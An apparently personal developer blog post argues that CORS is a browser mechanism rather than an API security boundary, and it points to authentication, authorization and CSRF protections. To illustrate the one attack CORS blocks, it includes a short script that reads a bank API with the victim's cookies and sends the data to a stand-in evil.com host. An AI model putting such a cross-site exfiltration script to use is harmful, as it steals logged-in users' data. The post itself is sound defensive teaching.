---
title: "CORS Is Not a Security Feature, Stop Treating It Like One"
description: "CORS is enforced by browsers, not servers. curl doesn't care. Postman doesn't care. Your attacker's script doesn't care. Here's what CORS actually does and what protects your API instead."
author: Subhadip Saha
published: 2026-03-11
updated: 2026-03-11
canonical: https://thatdevguy.in/blogs/cors-is-not-security
tags: ["Security", "Backend", "API Design", "Web"]
---

# CORS Is Not a Security Feature, Stop Treating It Like One

I've seen this comment in production code more than once:

```js
// Security: CORS enabled, only our frontend can call this API
app.use(cors({ origin: 'https://myapp.com' }));
```

That comment is wrong. Not slightly off, fundamentally wrong. And I say that not to be harsh but because believing it creates a false sense of security that leaves real vulnerabilities unaddressed.

Let's talk about what CORS actually is.

## What CORS Actually Does

CORS stands for Cross-Origin Resource Sharing. It's a browser mechanism. **The browser** decides whether to allow a web page from one origin (`https://evil.com`) to read the response from another origin (`https://yourapi.com`).

That's it. That's the whole thing.

When your browser makes a cross-origin request, it checks the response headers from the server. If the server says `Access-Control-Allow-Origin: https://myapp.com`, the browser allows `myapp.com` to read the response. If the header isn't there, or lists a different origin, the browser blocks access to the response.

The request still went through. The server still processed it. The browser just won't let the JavaScript on the page read the response.

Let that sink in for a second.

## curl Doesn't Speak CORS

```bash
curl -X DELETE https://yourapi.com/users/42 \
  -H "Authorization: Bearer some-token"
```

CORS restrictions: zero. curl is not a browser. It doesn't implement the Same-Origin Policy. It sends the request, gets the response, and prints it out. CORS headers are completely ignored.

Same with Postman. Same with Python's `requests` library. Same with any server-side code. Same with an attacker's script.

CORS is a browser safety net for legitimate web pages. It has no effect on any non-browser HTTP client. None.

## What "Restricting" CORS Actually Prevents

Let me give you the one real attack CORS protects against.

Scenario: you're logged into `https://yourbank.com`. Your session cookie is sitting in your browser. Now you visit `https://evil.com`, which has this script:

```js
fetch('https://yourbank.com/api/balance', {
  credentials: 'include' // sends your session cookie
})
  .then(res => res.json())
  .then(data => {
    // evil.com reads your balance and exfiltrates it
    fetch('https://evil.com/steal?data=' + JSON.stringify(data));
  });
```

Without CORS restrictions, `evil.com`'s script would successfully read data from your bank's API using your credentials. CORS prevents this, if the bank's API doesn't include `evil.com` in its allowed origins, the browser blocks the response read.

So CORS does protect against **cross-site data exfiltration via browser scripts**. That's legitimate. That's valuable.

But it doesn't protect against:

- Direct API calls from any non-browser client
- An attacker who obtained valid credentials
- Server-side request forgery (SSRF)
- Anything else that doesn't involve a browser's Same-Origin Policy enforcement

<Callout type="warn">
CORS with `credentials: true` and `origin: '*'` is invalid, browsers reject it. But CORS with `origin: '*'` and no credentials is common and means any site can read your public API responses. Fine for public APIs, not fine if you think it's a security boundary.
</Callout>

## The Real Culprit: Missing Authentication

Here's the thing. If the only thing stopping unauthorized users from calling your API is CORS, your API has no authentication. And that's the actual problem.

```js
// This does nothing for security
app.use(cors({ origin: 'https://myapp.com' }));

// This is where security actually lives
app.use(authenticate); // verify JWT, session, API key, whatever
app.use(authorize);    // verify the user can do what they're trying to do
```

A properly authenticated API can have `Access-Control-Allow-Origin: *` and still be secure, because every request must carry valid credentials that can't be forged. CORS is irrelevant when authentication is solid.

A poorly authenticated API with strict CORS is just waiting for someone to open curl.

## CSRF Is a Different Problem

There's a related attack that CORS is sometimes confused with protecting against: Cross-Site Request Forgery (CSRF).

CSRF exploits the fact that browsers automatically send cookies with requests to matching domains. If you're logged into `yourbank.com` and visit `evil.com`, a form on `evil.com` can submit a POST request to `yourbank.com/transfer` and your session cookie goes along for the ride.

CORS doesn't fully protect against this. Simple requests (forms, `application/x-www-form-urlencoded`) don't trigger CORS preflight checks. CORS protects against reading the response, not against the request being made.

CSRF protection requires CSRF tokens, `SameSite` cookie attributes, or checking `Origin`/`Referer` headers explicitly.

```js
// SameSite=Strict: cookie never sent from cross-site context
// SameSite=Lax: cookie sent with top-level navigation but not sub-requests
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
```

Modern browsers default to `SameSite=Lax` for cookies that don't specify it, which gives you some protection for free. But `SameSite=Strict` + explicit CSRF tokens is the right approach for anything sensitive.

## The Preflight Request

One more thing worth understanding: the preflight.

For "non-simple" requests (most POST/PUT/DELETE with JSON bodies, custom headers, etc.), the browser sends an `OPTIONS` request first to check if the cross-origin request is allowed.

```
OPTIONS /api/users HTTP/1.1
Origin: https://evil.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: Authorization, Content-Type
```

The server either approves or rejects this. If approved, the actual request goes through (from the browser's perspective).

The mistake I see: devs thinking this `OPTIONS` check means unauthorized parties can't make the real request. They can. Nothing about the preflight stops a non-browser client from skipping it entirely and sending the DELETE directly.

## What Actually Protects Your API

Since CORS doesn't:

1. **Authentication**, every request proves identity. JWT, session cookie, API key. Pick one, implement it everywhere.
2. **Authorization**, every request proves permission. User 42 cannot delete user 43's data. Check this explicitly, not implicitly.
3. **Input validation**, validate and sanitize at the server. Never trust client input.
4. **Rate limiting**, on account identifiers, not IPs. (Wrote about this already.)
5. **CSRF tokens**, for cookie-based auth. `SameSite=Strict` at minimum.
6. **HTTPS**, always. Prevents MITM. Has nothing to do with CORS but gets forgotten.

CORS is a browser-side ergonomics feature that prevents one specific category of cross-site attack. Configure it correctly, don't allow `*` for authenticated endpoints, don't set `credentials: true` without thought. But don't mistake it for your security perimeter.

Your security perimeter is auth. CORS is just the browser being polite.
